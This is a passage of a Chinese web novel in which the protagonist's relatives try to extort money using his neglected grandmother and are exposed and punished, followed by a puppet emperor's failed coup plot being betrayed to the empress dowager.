罗氏听完,捂着嘴偷笑,然后悄然离开。 …… 在距离庐州城数十里外的官道上。 这章没有结束,请点击下一页继续阅读!一辆破旧不堪的木板车,发出“吱吱呀呀”的呻吟,艰难地朝着庐州城的方向驶来。 车上,躺着一个瘦骨嶙峋、奄奄一息的老妇人,正是陈平川的祖母,陈老太太。 推车的,是她的大儿子陈仲文和三儿子陈仲武。 旁边跟着的,是他们各自的妻儿。 一行人风尘仆仆,满脸倦容,但眼中却闪烁着贪婪的光芒。 “咳……咳咳……儿啊……”陈老太太一阵咳嗽,干裂的嘴唇动了动,发出虚弱的呼唤。 “死老太婆,吵什么吵!”大伯母刘氏没好气地瞪了她一眼,但随即又换上了一副假惺惺的笑脸,凑到她耳边,一边给她扇着风,一边恶狠狠地叮嘱道: “老东西,我可告诉你,你千万得给老娘撑住了!等到了你二儿子家,要到了钱,你再死也不迟!听见没有!” 要不是前阵子天公道围困庐州府,他们早就赶过来了,还好陈老太太命够硬,一直吊着口气。 陈老太太虚弱地喊着:“饿……”,浑浊的眼睛看向了正坐在车边,大口啃着肉包子的亲孙子陈平西。 “虎子……奶饿……” 陈平西嘴里塞得满满的,看都没看她一眼,含糊不清地说道:“奶奶你再忍忍,等到了二叔家,就有山珍海味吃了!到时候你想吃什么就有什么!” 说完,把包子整个塞进了嘴里。 另一边,大房和三房的女儿陈平香和陈平娇,正满脸嫌弃地抱怨着路途辛苦,衣服都弄脏了。 “娘,咱们到底什么时候才到啊?这条破路太难走了!” “就是,你看我的新鞋子,都沾上泥了!” 三婶王氏连忙安慰道:“快了快了,我的乖女儿。等到了陈平川家,要到了钱,娘立刻就带你们去庐州城里最大的酒楼下馆子,再去最好的绸缎庄给你们买新衣服!” 一听到有新衣服穿,有大餐吃,姐妹俩立刻眉开眼笑,再也不抱怨路途辛苦。 一行人天不亮就从桃花村出来,终于在第二天早上,抵达了庐州城。 他们打听到了陈平川家的住址,当看到那座气派的两进宅院时,所有人的眼中,都迸发出了更加强烈的贪婪。 “就是这儿了!” 陈仲文和陈仲武对视一眼,将板车往门口一放。 下一秒,一场精心策划的“大戏”,正式上演。 两个大男人,突然捶胸顿足,嚎啕大哭。 两个泼辣的媳妇,也一屁股坐在地上,拍着大腿,开始哭天抢地,嘴里骂着各种难听的话。 “天杀的陈平川啊!你当了大官就忘了本啊!” “不孝的陈仲和两口子啊!你们自己住着大宅子,吃香的喝辣的,却把亲娘扔在乡下等死啊!” “老天爷啊!你开开眼吧!看看这不孝的子孙啊!连亲娘都不养啊!” 他们的哭嚎声,凄厉无比,瞬间就引来了街坊四邻的围观。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第228章 想讹钱?先把你们的皮扒下来! 很快,陈家门口就围了一圈看热闹的人,对着陈家大宅指指点点,议论纷纷。 “这是怎么回事啊?” “听着像是陈大人家的亲戚,来讨说法的?” “不会吧,陈大人看着不像那种不孝之人啊……” 屋子里,陈平川一家,连同张静姝三女,听到外面的哭嚎声,面面相觑。 他们走出院门,看到门口那群撒泼打滚的“亲戚”,和板车上那个奄奄一息的陈老太太,陈平川一家人的脸色瞬间都沉了下去。 “大哥?三弟?你们这是……”老实巴交的陈仲和看到自己的两个兄弟,当场就手足无措了,结结巴巴地不知道该说什么。 罗氏则是气得脸色发青,浑身发抖。 这群无赖,竟然又找上门来了! 而陈家大房、三房的人,看到从院子里走出来的陈平川,以及他身后站着的那三个如同天仙下凡般的绝色女子,先是震惊,随即,眼中迸发出了冲天的嫉妒。 尤其是大伯母刘氏和三婶王氏,那眼神,简直能喷出火来。 “哟!”刘氏阴阳怪气地开了口,“我说我这大侄子怎么连亲奶奶都不要了,原来是在这金屋藏娇,有了这几个小美人,就把乡下的穷亲戚、长辈都给忘了啊!” “可不是嘛!”王氏也立刻帮腔,指着张静姝三人,嘴里不干不净地骂道,“一个个穿得花枝招展的,看着就不是什么正经人家的姑娘!平川啊,你可得擦亮眼睛,别被这种妖精给迷了心窍,做出那等不忠不孝、猪狗不如的事情来啊!” 陈平西更是瞪着眼睛,流着哈喇子,指着三个女孩嚷嚷道:“爹,娘!我也要娶这么漂亮的媳妇!我也要三个!” 陈平香和陈平娇姐妹俩,感觉自己与张静姝三人相比,简直就是云泥之别。 两人满心嫉妒和鄙夷,跟着自家母亲,用最刻薄的语言攻击着三个女孩。 “不知廉耻!” “狐狸精!” 罗氏气得肺都要炸了,她本就是个泼辣性子,哪里受得了这个气。 她当即上前一步,叉着腰就要跟她们理论:“你们两个泼妇,嘴巴放干净点!胡说八道些什么!” 刘氏和王氏等的就是这个机会,立刻从地上一跃而起,如同两只好斗的母鸡,冲上来就跟罗氏对骂起来。 一时间,各种污言秽语,不堪入耳的词汇,像是不要钱一样从她们嘴里喷出来。 罗氏虽然强悍,但还要顾及几分儿子的脸面,在这两个常年骂街、毫无底线的泼妇围攻下,渐渐落了下风。 张静姝在一旁看着,早就按捺不住了。 她最见不得陈平川的家人被欺负! “我看谁敢骂我伯母!”她娇喝一声,当即加入战团。 张静姝的战斗力,可比罗氏强了不止一个等级。 她嘴巴又快又毒,骂人都不带脏字,但每一句都像刀子一样,专往人的心窝子里捅,刁钻刻薄,看似引经据典,其实都是歪理邪说,骂得刘氏和王氏节节败退,几乎无还手之力。 然而,骂战虽然占了上风,舆论却渐渐倒向了另一边。 围观的邻居们,看着板车上陈老太太那副凄惨可怜的模样,同情心开始泛滥。 “哎,不管怎么说,那也是亲奶奶啊,怎么能弄成这样呢?” “是啊,老人再有不是,做儿孙的也不能这样不管不顾啊。” “陈大人家大业大,接济一下亲戚也是应该的嘛……” 议论声越来越偏向“弱者”,陈平川一家,瞬间陷入了舆论的绝境。 昭华郡主看着眼前的闹剧,秀眉紧蹙。她虽然不懂这些市井间的争吵,但也看得出陈家落了下风。她悄悄地退后几步,转身离开了人群,张若素发现了她的举动,眼中闪过一丝疑惑。 就在这时,一直冷眼旁观的陈平川,终于动了。 他走上前,脸上没有丝毫的愤怒,反而露出悲伤和自责。 他穿过人群,走到板车前,俯下身,看着气若游丝的陈老太太,用一种沉痛的语气,轻声说道: “奶奶,您受苦了。” 然后,他抬起头,看向陈仲文和陈仲武,脸上满是关切。 “大伯,三叔,你们快说说,祖母这到底是得了什么重病?可曾请大夫看过?吃了什么药?我这就去城里最好的药铺,请最好的大夫来!” 陈仲文和刘氏等人一听这话,顿时慌了神。 他们哪里知道老太婆得了什么病,为了省钱,他们压根就没找过大夫。 “呃……这个……就是……就是风寒入体……”陈仲文支支吾吾地说道。 “不对!是……是体虚!年纪大了,身体虚!”刘氏连忙补充。 三房的王氏更是生怕陈平川真去找大夫,急忙摆手道:“哎呀,不用找大夫了!我们早就找人看过了,大夫说……说这是不治之症,没救了!平川啊,你是个孝顺孩子,我们知道。你……你就赶紧拿些银子出来,让我们把老太太带回去,好生伺候,也算是全了你们一家的孝心了。以后,我们保证再也不来麻烦你们了!” 这章没有结束,请点击下一页继续阅读!这话一出,陈平川心里冷笑一声。 想拿钱走人?下次再来讹诈? 想得美! 今天既然来了,不把你们这层皮扒下来,都对不起你们这么卖力的表演! 他脸上的悲痛之色更浓了。 “不行!”他断然拒绝,“祖母病得如此严重,我身为长孙,岂能坐视不理?为人子孙,若不能在长辈生前尽孝,死后就算用金山银山来安葬,又有什么意义?” “今天,我必须把祖母的病搞清楚!我一定要为爹娘,尽上这份孝道!” 他这番话说得是铿锵有力,孝心感天动地。 周围的邻居们听了,纷纷点头,觉得陈平川做得没毛病。 “对啊,救人要紧!” “陈大人真是个大孝子!” 陈家老宅的人被架在了这里,骑虎难下,脸色难看到了极点。 陈平川没有给他们喘息的机会,继续追问道:“既然大伯、三叔如此孝顺,这一路上想必是日夜照料,衣不解带了?” “那……那是自然!”陈仲文硬着头皮说道。 “好。”陈平川点点头,问题如连珠炮般砸了过去,“那祖母平日里最爱吃什么?是喝的米粥还是吃的面糊?晚上起夜几次?翻身几次?身上可有生了褥疮?” 这一连串细致入微、直击要害的问题,让陈家大房三房一个个面红耳赤,张口结舌,一个字也答不上来。 他们哪里管过老太太这些?平日里,只想着别让她饿死就行了! 张若素见状,冷声补充道:“古书有云:‘孝子之事亲也,居则致其敬,养则致其乐,病则致其忧’。孝,有迹可循,非口舌之功。诸位言辞凿凿,声称日夜照料,却对老夫人病情起居一问三不知,岂不怪哉?” 罗氏抓住机会,当即上前厉声质问:“你们真的照顾娘了吗?是不是虐待她了?当家的,你快问问娘!” 她让丈夫陈仲和去问板车上的陈老太太。 陈仲和心中还存着一丝希望,走到母亲面前,颤声问道:“娘……他们……他们说的是真的吗?” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第229章 她是郡主,怎么没人告诉我们? 谁知,那一直奄奄一息的陈老太太,不知从哪来的一股力气,竟猛地睁开眼睛,伸出干枯的手指,颤抖着指向了陈仲和与罗氏夫妇。 她用尽全身力气,老泪纵横地哭诉道: “是他们……是他们不孝啊……” “是他们把我赶出家门,对我不管不问……我全靠老大和老三两家接济,才活到了今天啊……” “大家伙……可要为我做主啊……” 这番颠倒黑白的“血泪控诉”,瞬间将舆论彻底扭转。 围观的邻里们看向陈平川一家的眼神,立刻充满了鄙夷和不善。 “天哪,原来真是他们不孝!” “知人知面不知心啊!” 罗氏被这突如其来的反咬气得浑身发抖,几乎要背过气去。 老实忠厚的陈仲和,更是脸色煞白,踉跄着后退了两步,眼中充满了失望和彻骨的寒心。 他看着那个生他养他的亲娘,心中最后一丝亲情,也在这刻薄的诬陷中,消磨殆尽了。 就在陈家大房三房众人得意扬扬,陈平川一家陷入绝境之时。 一道清脆的女声响起。 “都让一让!大夫来了!” 众人回头一看,只见刚才悄然离开的昭华郡主,竟带着一名须发皆白、仙风道骨的老者,匆匆赶了回来。 她高声宣布道:“我怕耽误了病情,特意为祖奶奶请来了大夫!” “大夫?” 这两个字一出,陈家大房三房的人,脸色“唰”地一下就变了。 这要是让大夫一查,他们的谎言不就全戳穿了吗? 惊慌之下,刘氏和王氏彻底失去了理智,竟狗急跳墙,把矛头对准了昭华郡主。 “你个小贱人!我们家的事情,要你一个外人管?!” “哪里来的野丫头,装什么大瓣蒜!我看你就是贱货狐狸精!臭不要脸!” 她们指着昭华郡主的鼻子,各种污言秽语像是喷粪一样,不绝于耳。 那言辞之恶毒,别说是金枝玉叶的郡主,就是市井泼妇听了都得脸红。 昭华郡主何曾受过这等羞辱,当场就被骂得红了眼圈,委屈的泪水在眼眶里打转,摇摇欲坠。 “你们住口!” 张静姝一看昭华受了委屈,那还了得! 她们昨晚才刚达成“攻守同盟”,现在盟友被欺负,她这个“盟主”必须得出头! 她当即挺身而出,与张若素一左一右,将昭华护在了身后。 “我看谁敢欺负我昭华妹妹!” “一群不知礼义廉耻的刁民!竟敢辱骂郡主殿下!” 两人火力全开,一个泼辣刁钻,骂得对方狗血淋头;一个引经据典,字字诛心。 三位绝代佳人,在这一刻,竟因为共同的敌人,结成了无比坚固的统一战线,关系瞬间亲近了不少。 就在院门口乱成一锅粥的时候。 突然,一声怒喝如平地惊雷般炸响! “放肆!!!” 这声音充满了无上的威严和滔天的怒火,震得所有人耳膜嗡嗡作响。 众人愕然地回头望去,只见秦王祝衡身着蟒袍,面沉似水,正带着大队王府侍卫,怒气冲冲走了过来。 原来,他虽然把女儿留在了陈家,但还是不放心,特意在暗中留了眼线保护。 刚才发生的一切,早已被眼线一五一十地禀报了过去。 当他听到自己那视若掌上明珠的宝贝女儿,竟然被一群乡野村夫、泼妇刁民当众指着鼻子辱骂,秦王的怒火,瞬间冲上了天灵盖! 龙有逆鳞,触之必死! 昭华郡主,就是他秦王的逆鳞! 秦王一到,整个场面的气压瞬间降到了冰点。 刚才还吵吵嚷嚷的街道,立刻变得鸦雀无声。 那些围观的邻居,一看到秦王那张黑得能滴出水来的脸,以及他身后那些杀气腾腾的侍卫,吓得连连后退,大气都不敢喘一口。 陈家大房、三房的那群人,更是魂都快吓飞了。 他们哪里想得到,只是骂了一个跟陈平川不清不楚的小姑娘,竟然会把秦王这尊大佛给招来! “王……王爷……” 陈仲文和陈仲武两兄弟,腿肚子都在打哆嗦,扑通一声就跪在了地上。 刘氏和王氏两个泼妇,刚才还嚣张得不可一世,此刻也吓得面无人色,瘫软在地,抖如筛糠。 秦王看都没看他们一眼,径直走到自己女儿身边。 当他看到昭华那哭得梨花带雨、满脸委屈的小脸时,心疼得跟刀割一样,滔天的怒火瞬间冲上了天灵盖。 他猛地转过身,冰冷的目光如同刀子一般,刮在陈家那群无赖的身上。 “好大的狗胆!” 秦王的声音不大,却带着一股令人心悸的寒意。 “连本王的女儿,你们都敢辱骂!” 他一字一顿地说道:“来人!” “在!” 两名侍卫立刻上前,抱拳听令。 秦王指着地上跪着的那群人,冷冷地吐出两个字。 “掌嘴!” “是!” 侍卫领命,大步上前。 这章没有结束,请点击下一页继续阅读!陈仲文等人吓得屁滚尿流,连连磕头求饶。 “王爷饶命啊!王爷饶命!” “我们有眼不识泰山!我们不是人!我们再也不敢了!” 秦王却是不为所动,脸上没有一丝表情。 侍卫可不管他们求不求饶,走到他们面前,扬起蒲扇般的大手,就要往下扇。 陈仲文见状,为了少受皮肉之苦,竟然一咬牙,自己抬手狠狠地给了自己一个大嘴巴子。 “啪!” 一声脆响,半边脸瞬间就红肿了起来。 他这一动,其他人也有样学样,不敢让侍卫动手,纷纷开始互扇耳光。 一时间,院门口“啪啪”之声不绝于耳,上演了一出荒诞至极的闹剧。 唯有那被宠坏了的陈平西,躺在地上撒泼打滚,不肯动手。 “我不打!我没错!凭什么打我!” 一名侍卫见状,冷哼一声,走上前去,抬起脚,对着他的屁股就是一脚。 “嗷!” 陈平西发出一声杀猪般的惨叫,被踹得飞起,啃了一嘴的泥,满嘴是血。 他这才知道怕了,哭爹喊娘地自己抽起了自己的嘴巴。 而陈平香和陈平娇两姐妹,更是上演了一出“塑料姐妹情”。 她们下不去狠手打自己,竟然商量着互相打。 “妹妹,你轻点……” “姐,你也轻点……” 结果,两人各怀鬼胎,都怕自己吃亏,都想让对方疼一点,下手一巴掌比一巴掌重。 “啪!” “你打我这么重!” “啪!” “你打得也不轻啊!” 转眼之间,两人就将对方打成了猪头,头发散乱,衣衫不整,引得周围的百姓一阵哄笑与鄙夷。 在一片闹剧和哀嚎声中,秦王面无表情地对他带来的御用大夫一摆手。 “去,给那位老夫人看看。” “本王倒要看看,她到底得了什么‘不治之症’!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第230章 这就是孝顺?猪狗都自愧不如! 大夫领命上前。 陈家老宅所有人的心,都提到了嗓子眼。 王府大夫医术何等高明,他走到板车前,只是扫了一眼陈老太太的面色,又搭了搭脉,眉头便紧紧地皱了起来。 他起身向秦王禀报:“回王爷,这位老夫人脉象虚浮,气息微弱,虽有旧疾缠身,但远未到病入膏肓、药石无医的地步。” “她如今这般模样,主要是因为长期营养不良,气血亏空,加上心气郁结,忧思过度所致。若能好生调养,辅以汤药,尚有转机。” 这番话,无疑是直接戳破了陈家大房三房的谎言。 刘氏还不死心,一边扇耳光,一边厚着脸皮反驳道:“你这大夫会不会看病啊!我们明明找人看过了,说是没救了!” 大夫看了她一眼,眼神里满是鄙夷,也不跟她争辩。 他对着秦王一拱手:“王爷,请容老朽为老夫人检查一下身体。” 说着,他让众人退后几步,随即伸手,掀开了陈老太太身上那床又脏又破的被子。 一股难以言喻的恶臭,瞬间弥漫开来! 只见老人身上那件本就污秽不堪的衣服,此刻更是沾染着早已干涸的排泄物,臭气熏天。 围观的邻里无不倒吸一口凉气,纷纷捂住口鼻,向后退去。 大夫面不改色,轻轻解开老人的衣物。 当老人的后背和腰臀暴露在众人面前时,所有人都惊呆了。 只见那瘦骨嶙峋的皮肤上,竟布满了大片大片红肿、流脓、甚至已经开始腐烂的褥疮! 那景象,惨不忍睹,触目惊心! 真相,在这一刻,大白于天下! “畜生!” 秦王看着眼前的景象,怒不可遏,指着跪在地上的陈仲文等人,厉声斥骂:“这就是你们所谓的‘孝顺’?!将自己的亲娘折磨至此,你们简直猪狗不如!你们的心,都是黑的吗!” 面对铁一般的罪证,陈仲文还想狡辩,称当初分家时,二房陈仲和一家并未分担赡养责任。 罗氏再也忍不住,当众将当年如何被陈老太太偏袒、如何被逼得净身出户、一分家产都没拿到的旧事,全盘托出。 秦王听罢,冷哼一声,点头道:“好!说得好!纵然分家,赡养父母亦是天理人伦!既然你们大房三房当年霸占了二房所有的家产,那赡养老母的责任,就理应由你们一力承担!” 三婶王氏仍不死心,尖着嗓子,进行最后的道德绑架:“就算分家了,她也是陈平川的亲奶奶!他如今飞黄腾达,当了大官,怎能见死不救?传出去,就是天大的不孝!” 这话,也引得部分不明真相的人暗暗点头。 就在这时,一直沉默的陈平川,终于开口了。 他走到秦王面前,躬身一礼,声音平静。 “王爷,三婶说得对,祖母也是我的祖母。我二房,愿意接手赡养。” 陈仲文等人闻言一喜。 但陈平川的下一句话,却让他们如坠冰窟。 “但我有一个条件。” 陈平川环视着大房三房众人,朗声道:“当年分家,我们二房被净身出户。如今要我们赡养祖母,合情合理。但,请大伯、三叔,将当年从我家侵占去的所有田产房契,悉数归还!” “另外,赡养是所有子孙的共同责任。你们两房,每月也需拿出二两银子,作为祖母的汤药费!” 此言一出,陈仲文等人的脸色,瞬间大变。 要他们把吃到嘴里的肉吐出来?还要他们往外掏钱? 这比杀了他们还难受! 他们支支吾吾,眼神躲闪,彻底陷入了陈平川为他们设下的两难绝境。 要钱还是要娘? 这是一个难题。 对于陈仲文和陈仲武这两家人来说,答案是显而易见的。 在秦王那威严如山的目光逼视下,兄弟俩对视了一眼,都从对方眼中看到了退缩和不舍。 让他们把已经吞进肚子里十几年的田产房契再吐出来,还要每月往外掏钱,这简直就是要了他们的命! “这个……王爷……平川啊……”陈仲文搓着手,脸上挤出一个比哭还难看的笑容,“不是我们不孝顺啊……实在是……实在是那些田产,早就……早就变卖了,用来给娘治病了……家里现在,也实在是拿不出多余的钱了啊……” 这谎话编得连他自己都不信。 他们的反应,无疑是当着所有庐州百姓的面,亲口承认了,他们今天来,就是为了讹钱,根本就没想过要赡养老人。 “呵。”秦王发出一声不屑的冷笑,彻底看清了这群人的丑恶嘴脸。 他懒得再跟这些无赖废话,直接下达了最后的判决。 “既然如此,本王也不难为你们。” 他指着板车上的陈老太太,对陈仲文等人冷冷地说道:“把你们的娘带回去,好生奉养!从今日起,本王会派专人,每月去你们村里查访一次!若是再让本王发现你们有任何虐待老人的行径,定将你们全家,无论老幼,统统关入大牢,让你们在牢里过完下半辈子!” “听明白了没有!” “明白!明白了!王爷饶命!” 陈家大房三房一行人吓得魂飞魄散,哪里还敢多说半个字,连连磕头称是。 在街坊邻里那鄙夷和唾弃的目光中,他们手忙脚乱地扶起板车,连滚带爬,灰溜溜地逃离了庐州城。 一场闹剧,终于收场。 陈家大院,也恢复了往日的平静。 秦王看着自家女儿那哭得红肿的眼睛,又是心疼又是好笑,安慰了几句后,也带着人离开了。 经此一役,昭华郡主、张静姝、张若素三人之间,竟真的生出了一种同仇敌忾的战友情谊。 昭华哭红了眼,张静姝和张若素一左一右地安慰她,递手帕,说好话,彼此间的敌意和隔阂,消散了大半。 罗氏看着这和谐的一幕,心里既是欢喜又是发愁。 这三个姑娘,一个比一个出色,一个比一个对自己儿子好。 手心手背都是肉啊! 愁归愁,一个大胆的念头,却在她心里愈发坚定—— 管他呢!这么好的儿媳妇,错过哪个都可惜! 我儿子这么优秀,全娶回家来,有什么不可以的?! …… 另一边,离开庐州城的陈家大房三房,垂头丧气往家走。 讹钱不成,反倒挨了一顿打,丢尽了脸面。 他们将所有的怨气和怒火,都撒在了那个导致他们“失败”的根源——板车上奄奄一息的陈老太太身上。 “都怪你这个死老太婆!扫把星!害我们白跑一趟!”刘氏一边走,一边恶狠狠地咒骂。 “就是!要不是你,我们能挨那顿打吗?脸都丢光了!”王氏也尖着嗓子附和。 “晦气!真他妈的晦气!”陈仲文心里窝火,狠狠地推了一下板车,让本就颠簸的车子剧烈地晃动了一下,车上的陈老太太发出一声痛苦的呻吟。 他们的儿女,更是有过之而无不及。 “又臭又脏!臭死了!”陈平西嫌恶地捏着鼻子,一把将陈老太太身上那床破被褥扯下来,扔到了路边的水沟里,让老人干瘦的身体,直接暴露在了冰冷的风中。 “都怪你这个老不死的!害得我新衣服没买成,还挨了打!”陈平香捂着高高肿起的脸,怨毒地踢了一脚板车。 “就是!害人精!你怎么还不死啊!”陈平娇也跟着咒骂。 一句句恶毒的诅咒,一声声无情的辱骂,像一把把尖刀,狠狠地扎在陈老太太的心上。 她躺在冰冷的板车上,浑身没有一丝暖意。 风吹在她满是褥疮的身体上,疼得她不住地哆嗦。 她睁着浑浊的眼睛,看着眼前这些她曾经最疼爱的儿孙,看着他们那一张张因为愤怒和贪婪而扭曲的脸。 她想起了被自己赶出家门的二儿子一家,想起了那个虽然老实却最孝顺的陈仲和,想起了那个虽然泼辣却心地不坏的罗氏。 她想起了当年分家时,自己的偏心和刻薄。 她想起了自己是如何将所有的好东西都留给了大房和三房,却将二房一家扫地出门。 悔恨、悲愤、绝望……种种情绪交织在一起,涌上她的心头。 她挣扎着,想要说些什么,却只发出一阵“嗬嗬”的声响。 “噗——” 一口黑血,从她口中喷涌而出。 随即,她的身体猛地一僵,脑袋一歪,眼睛里的光彩,彻底熄灭了。 这个自私、刻薄、偏心了一辈子的老太婆,最终被自己最疼爱的亲生儿孙,活活地气死在了回家的半路上。 正应了那句老话: 善恶终有报,天道好轮回。不信抬头看,苍天饶过谁! 第231章 我!傀儡皇帝,要掀桌了! 庐州大捷的消息,如同一阵久违的春风,吹进了死气沉沉的京城。 养心殿内,景帝听着密探的奏报,得知秦王安然无恙,陈平川再立不世奇功,那张长期被压抑和病气笼罩的脸上,终于挤出了一丝真切的笑容。 “好,好啊!陈平川,果然是旷世将才,大业的栋梁!” 他忍不住击掌赞叹,声音里带着一丝激动。 然而,这喜悦仅仅持续了片刻。 他下意识地瞥了一眼殿门外,那些看似恭敬侍立,实则如同狱卒般的太监和侍卫,嘴角的笑容瞬间凝固,化为了一抹深深的苦涩。 自从上次寿宴,他为了保下陈平川,第一次公开与母亲梁太后决裂后,他的处境便愈发艰难。 梁太后对他的控制,已经到了无以复加的地步。 他的一举一动,全都在梁党的监视之下。 甚至不许他随便离开后宫! 这个皇帝,名为九五之尊,实则不过是一个身份尊贵的囚徒。 他想给庐州送去嘉奖,可圣旨拟好,却送不出宫门。 他想调动京营的兵马,作为秦王的后援,可兵符早就被梁越以“代为保管”的名义收走。 就连他想多吃一碗燕窝粥,都会被身边的太监以“太后懿旨,龙体为重,饮食需节制”为由拦下。 一股巨大的屈辱感,在他胸中翻涌。 为什么? 朕是天子,却要活得像个提线木偶! 凭什么? 朕的忠臣良将在外浴血奋战,朕却连一句嘉奖都送不到他们手上! 而梁家那群国贼可以作威作福,朕这个皇帝却要处处受制! 长久以来的压抑,与此次庐州大捷带来的强烈刺激,如同火星遇到了干柴,彻底点燃了景帝心中那团名为“血性”的、早已被消磨得只剩一丝火苗的火焰。 他再也受不了了! 夜深人静,他屏退了所有下人,只秘密召见了自己唯一能够信任的老师,当朝大学士张廷玉。 “老师,朕不想再等了。” 景帝的眼神里,燃烧着一种近乎疯狂的光亮,那是绝望和希望交织的火焰。 张廷玉看着自己学生这副模样,心中咯噔一下,连忙问道:“陛下,您……您这是何意?” 景帝压低了声音,咬牙切齿地说道:“朕要夺回属于朕的一切!朕已经暗中联系了御林军统领王正,他父亲曾受先帝大恩,对朕忠心耿耿。朕要效仿太祖皇帝,发动宫变!” “什么?” 张廷玉大惊失色,整个人都懵了,他几乎是下意识地“噗通”一声跪倒在地。 “陛下,万万不可啊!” 他的声音都在发抖,苦苦劝谏。 “陛下,梁党如今在朝中根深蒂固,京城卫戍、九门提督,皆是梁越的亲信。御林军虽有三万,但被京城十几万大军包围,无异于杯水车薪!此举,此举是拿鸡蛋碰石头,一旦失败,陛下您就真的万劫不复了啊!” 张廷玉老泪纵横,他太了解自己这个学生了。 有抱负,有理想,却唯独缺少了帝王该有的隐忍和狠辣。 “朕不想听!” 景帝一把将他扶起,双目赤红,状若癫狂。 他嘶吼着,像一头被困在笼中多年的野兽,发泄着所有的不甘。 “朕受够了!朕当这个傀儡,已经当得够久了!与其这样屈辱地活着,被他们活活耗死,不如轰轰烈烈地赌上一把!” “朕相信王正!只要朕的动作够快,明夜就动手,先控制住慈宁宫,软禁太后,再由王正率兵冲入梁府,将梁越那国贼斩杀!只要梁越一死,他那些党羽就是一群乌合之众!” 他紧紧抓着张廷玉的胳膊,力气大得惊人。 他向自己最敬爱的老师,描绘着那幅令他神往的蓝图。 “老师,你想想,只要成功了!朕就立刻下旨,召陈平川回京,委以重任!朕要让他当首辅,让他当大将军!让他放开手脚,去实现他《安民论》里的愿景!” “朕要铲除奸佞,澄清玉宇!朕要开创一个前所未有的大业盛世!朕,要当一个真正的千古明君!” 他的声音里,充满了对未来的无限渴望,以及对现实的深切绝望。 这番话,与其说是说给张廷玉听,不如说是说给他自己听。 像是一剂强心针,支撑着他这摇摇欲坠的疯狂计划。 张廷玉看着状若疯魔的景帝,心痛如绞,却又无计可施。 他知道,皇帝已经听不进任何劝告了。 于是,他咬咬牙,开始尽自己最大可能为皇帝出谋划策。 君臣二人在内殿的这场密谋,自以为天衣无缝。 却不知,殿门之外,隔着一道厚重的门帘,一个身影侍立良久。 老太监魏忠,此刻正站在阴影里,脸色煞白如纸,浑身都在无法抑制地颤抖。 宫变! 陛下要宫变! 魏忠的脑子里嗡嗡作响,一片空白。 他的内心,此刻正上演着一场天人交战。 一边,是他从小抱到大的陛下。 他记得陛下幼时是如何依赖他,如何拉着他的袖子撒娇,如何在他面前才会露出孩子气的笑容。 他心疼景帝,心疼他这些年所受的委屈和压抑。 可是,景帝要面对的是权势滔天、手段狠辣的梁太后和国舅梁越。 他太清楚那对母子的为人了。 顺之者昌,逆之者亡。 这些年,多少反对他们的官员,落得家破人亡的下场。 反抗? 那下场,比死还可怕。 一幅幅画面在他脑中交替闪现。 时而是景帝幼时天真无邪的笑脸。 时而是梁太后那双仿佛能看透人心的、阴冷锐利的眼睛。 他该怎么办? 帮陛下?那就是陪着他一起死!这个计划,听起来就漏洞百出,怎么可能成功? 告诉太后?那就是亲手将自己看着长大的孩子,推进万劫不复的深渊! 冷汗,浸透了他背后的衣衫。 他在殿外的寒风中,站了整整一夜。 直到天边泛起一丝鱼肚白,他那张布满皱纹的脸,才终于从极度的扭曲中,恢复了一丝平静,只是那份平静之下,是更深的绝望。 他做出了决定。 颤抖着双腿,一步一步,走向了慈宁宫的方向。 “噗通”一声,他跪在了梁太后的床榻前。 “太后……老奴,老奴有要事禀报!” 他将头重重地磕在地上。 “陛下他……他要疯了啊!” 第232章 哀家的好儿子,该喝药了! 梁太后听完魏忠的告密,那张雍容华贵的脸上,瞬间布满了骇人的寒霜。 她眼中是毫不掩饰的、凛冽的杀机。 “好,真是哀家的好儿子啊!” 她从床榻上坐起,声音冰冷如三九寒冬。 她甚至没有丝毫的犹豫和迟疑,只是冷冷地吐出一句话。 “先下手为强!来人!将这群反贼都给哀家抓了!” 命令一下,整个京城便掀起了血雨腥风。 天还未亮,国舅梁越便亲率京城卫戍的精锐,如同一群黑夜中的饿狼,扑向了御林军的营地。 被景帝寄予厚望的御林军统领王正,还在睡梦之中,就被冲进营帐的乱兵当场格杀。 他甚至连句遗言都没来得及留下,就成了一具冰冷的尸体。 与此同时,另一队人马则扑向了大学士张廷玉的府邸。 张廷玉正忧心忡忡地枯坐书房,提笔要给女儿张若素写信。 府门被轰然撞开,甲胄鲜明的士兵如狼似虎地冲了进来。 “奉太后懿旨,大学士张廷玉勾结逆党,图谋不轨,打入天牢!” 冰冷的镣铐,锁住了这位为大业操劳一生的老臣。 同样的事情,在京城的数个角落同时发生。 所有被景帝私下联系过,被他视为心腹的忠臣,无一例外,全都被从家中抓捕,直接押往了那座有进无出的天牢。 一场尚未开始的宫廷政变,就以这样一种荒诞而又惨烈的方式,胎死腹中。 当清晨的第一缕阳光照进养心殿时,景帝等来的不是张廷玉的好消息,而是他母亲冰冷的面容。 梁太后在国舅梁越等人的簇拥下,浩浩荡荡地驾临养心殿。 她看着自己那个面如死灰的儿子,眼神里没有一丝母子之情,只有居高临下的蔑视和冷酷。 “皇帝,你真是哀家的好儿子啊!” 她的声音尖厉而又刻薄。 “翅膀硬了,竟想对你的亲生母亲动手了?!” 景帝抬起头,眼中是无尽的悲愤与绝望。 他知道自己今天在劫难逃,于是他也豁出去了,像一头困兽,发出最后的嘶吼:“朕是天子!不是你的傀儡!你还我江山!还我权力!” 这嘶吼,在此刻听来,是那么的苍白无力。 梁太后甚至懒得与他争辩,只是轻蔑地笑了一声,那笑容里充满了嘲讽。 “一个管不了的儿子,哀家宁可不要!” 她的话,如同一道晴天霹雳,劈在了景帝的头顶。 他愣住了,不敢置信地看着眼前这个生下他的女人。 梁太后不再理会景帝,她转过头,看向一直站在旁边,低着头的魏忠,用赞赏的语气说道:“魏忠,你通报有功,忠心可嘉。哀家重重有赏!” 景帝的目光,如同被线牵引着,猛地转向了魏忠,仿佛第一次认识他。 刹那间,他什么都明白了。 这个自己从小到大最信任的家奴,这个他甚至视作亲人、视作父亲一般依赖的老太监……竟然出卖了他! “为什么……” 景帝的身体开始剧烈地颤抖,不是因为害怕,而是因为背叛而愤怒。 他疯了一样冲下龙椅,一把揪住魏忠的衣领,双目赤红,几乎要滴出血来。 